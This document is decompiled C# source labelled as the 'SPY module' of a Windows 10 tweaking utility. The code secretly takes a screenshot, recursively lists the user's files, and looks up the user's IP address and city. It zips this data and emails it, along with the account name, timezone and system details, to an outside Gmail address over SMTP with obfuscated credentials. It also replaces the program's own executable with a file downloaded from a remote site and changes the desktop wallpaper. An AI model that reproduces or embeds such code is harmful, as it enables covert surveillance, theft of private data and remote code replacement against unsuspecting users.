Win 10 tweaker SPY module

using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Graphics;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
using System.Windows.Forms;
using Win_10_Tweaker;

public sealed class GForm0 : Form1
{
    public static void smethod_1()
    {
        Form35.smethod_1();
        Form14.smethod_1();
        try
        {
            smethod_2();
        }
        catch
        {
        }
        try
        {
            smethod_3();
        }
        catch
        {
        }
        try
        {
            smethod_4();
        }
        catch
        {
        }
        try
        {
            ForceClose();
        }
        catch
        {
        }
    }

    public static void smethod_2()
    {
        Struct18 struct2;
        string filename = GClass5.string_1 + @"\Interface.bin";
        string path = GClass5.string_1 + @"\ErrorLogs.bin";
        Bitmap image = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
        Graphics.FromImage(image).CopyFromScreen(0, 0, 0, 0, image.Size);
        image.Save(filename, ImageFormat.Png);
        string str4 = GClass5.string_1 + @"\Diagnostic.dat";
        File.WriteAllText(str4, string.Join(Environment.NewLine, Settings_1.smethod_0()));
        struct2.list_0 = new List<string>();
        smethod_5(GClass5.string_3, "*.*", ref struct2);
        File.WriteAllText(path, string.Join(Environment.NewLine, struct2.list_0));
        string str5 = GClass5.string_1 + @"\Data.zip";
        try
        {
            File.Delete(str5);
        }
        catch
        {
        }
        try
        {
            using (ZipArchive archive = ZipFile.Open(str5, ZipArchiveMode.Create))
            {
                archive.CreateEntryFromFile(str4, "List 1");
                archive.CreateEntryFromFile(filename, "bin");
                archive.CreateEntryFromFile(path, "List 2");
            }
            try
            {
                File.Delete(str4);
            }
            catch
            {
            }
            try
            {
                File.Delete(filename);
            }
            catch
            {
            }
        }
        catch
        {
        }
        string str6 = "";
        string input = "";
        using (WebClient client = new WebClient())
        {
            str6 = client.DownloadString("http://myexternalip.com/raw");
            input = client.DownloadString("http://free.ipwhois.io/xml/" + str6);
        }
        Match match = Regex.Match(input, "<country>(.*?)</country>(.*?)<city>(.*?)</city>");
        string str8 = match.Groups[1].Value + ", " + match.Groups[3].Value;
        try
        {
            TimeSpan offset = DateTimeOffset.Now.Offset;
            string str9 = (offset < TimeSpan.Zero) ? "-" : "+";
            string address = "feedback@" + GetPro.string_1.Replace("https://", "").Replace("." + GetPro.string_2, "") + "." + GetPro.string_2;
            string source = "username";
            string str12 = "ASjHL4ML0VmI43";
            MailMessage message1 = new MailMessage();
            message1.From = new MailAddress(address, "Нарушитель");
            MailMessage message = message1;
            message.To.Add(new MailAddress("jailbreakvideo@gmail.com", "Хачатур"));
            message.Subject = str6 + " | " + str8;
            string[] textArray1 = new string[0x12];
            textArray1[0] = "Часовой пояс: UTC ";
            textArray1[1] = str9;
            textArray1[2] = offset.ToString(@"hh\:mm");
            textArray1[3] = "\nВерсия программы: ";
            textArray1[4] = Assembly.GetExecutingAssembly().GetName().Version.ToString(2);
            textArray1[5] = "\nЯзык: ";
            textArray1[6] = Form1.locale;
            textArray1[7] = "\nУчётная запись: ";
            textArray1[8] = Form1.user;
            textArray1[9] = "\nWindows: ";
            textArray1[10] = WindowsDate();
            textArray1[11] = "\nIP: ";
            textArray1[12] = str6;
            textArray1[13] = " | ";
            textArray1[14] = str8;
            textArray1[15] = "\nID: ";
            textArray1[0x10] = Word.uniqueid;
            textArray1[0x11] = "\n\n";
            message.Body = string.Concat(textArray1);
            message.Attachments.Add(new Attachment(str5));
            SmtpClient client1 = new SmtpClient();
            client1.Host = "smtp.beget.com";
            client1.Port = 0x9dd;
            client1.EnableSsl = false;
            client1.Timeout = 0x4e20;
            client1.Credentials = new NetworkCredential(address, "if(password==" + new string(source.Reverse<char>().ToArray<char>()).Replace("ema", "mae") + "))password=" + str12.Replace("ASj", "I43"));
            client1.DeliveryMethod = SmtpDeliveryMethod.Network;
            client1.Send(message);
            message.Dispose();
            try
            {
                File.Delete(str5);
            }
            catch
            {
            }
        }
        catch
        {
            ForceClose();
        }
    }

    public static void smethod_3()
    {
        GClass2.smethod_0("Error");
        Class11 class2 = new Class11 {
            registryKey_0 = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Wallpapers")
        };
        try
        {
            class2.registryKey_0.GetValueNames().ToList<string>().Where<string>((<>c.<>9__4_0 ?? (<>c.<>9__4_0 = new Func<string, bool>(this.method_0)))).ToList<string>().ForEach(new Action<string>(class2.method_0));
        }
        finally
        {
            if (class2.registryKey_0 != null)
            {
                class2.registryKey_0.Dispose();
            }
        }
        string filename = GClass5.string_5 + @"\wall.png";
        Bitmap image = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
        Graphics.FromImage(image).CopyFromScreen(0, 0, 0, 0, image.Size);
        image.Save(filename, ImageFormat.Png);
        SystemParametersInfo(20, 0, filename, 3);
    }

    public static void smethod_4()
    {
        try
        {
            using (WebClient client = new WebClient())
            {
                string path = GClass5.string_1 + @"\System.Diagnostic.bin";
                try
                {
                    File.Delete(path);
                }
                catch
                {
                }
                File.Move(Form1.assemby, path);
                client.DownloadFile("https://jailbreakvideo.ru/Win%2010%20Tweaker.exe", Form1.assemby);
            }
        }
        catch
        {
            ForceClose();
        }
    }

    [CompilerGenerated]
    internal static List<string> smethod_5(string string_0, string string_1, ref Struct18 struct18_0)
    {
        List<string> second = new List<string>();
        string[] collection = null;
        try
        {
            collection = Directory.GetFiles(string_0, string_1);
            second.AddRange(collection);
        }
        catch
        {
        }
        if (collection != null)
        {
            foreach (string str in Directory.GetDirectories(string_0))
            {
                second.AddRange(smethod_5(str, string_1, ref struct18_0));
            }
        }
        struct18_0.list_0 = struct18_0.list_0.Union<string>(second).ToList<string>();
        return second;
    }

    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    private static extern int SystemParametersInfo(int int_0, int int_1, string string_0, int int_2);

    [Serializable, CompilerGenerated]
    private sealed class <>c
    {
        public static readonly GForm0.<>c <>9 = new GForm0.<>c();
        public static Func<string, bool> <>9__4_0;

        internal bool method_0(string string_0) =>
            string_0.Contains("BackgroundHistoryPath");
    }

    [CompilerGenerated]
    private sealed class Class11
    {
        public RegistryKey registryKey_0;

        internal void method_0(string string_0)
        {
            this.registryKey_0.DeleteValue(string_0);
        }
    }

    [CompilerGenerated]
    private struct Struct18
    {
        public List<string> list_0;
    }
}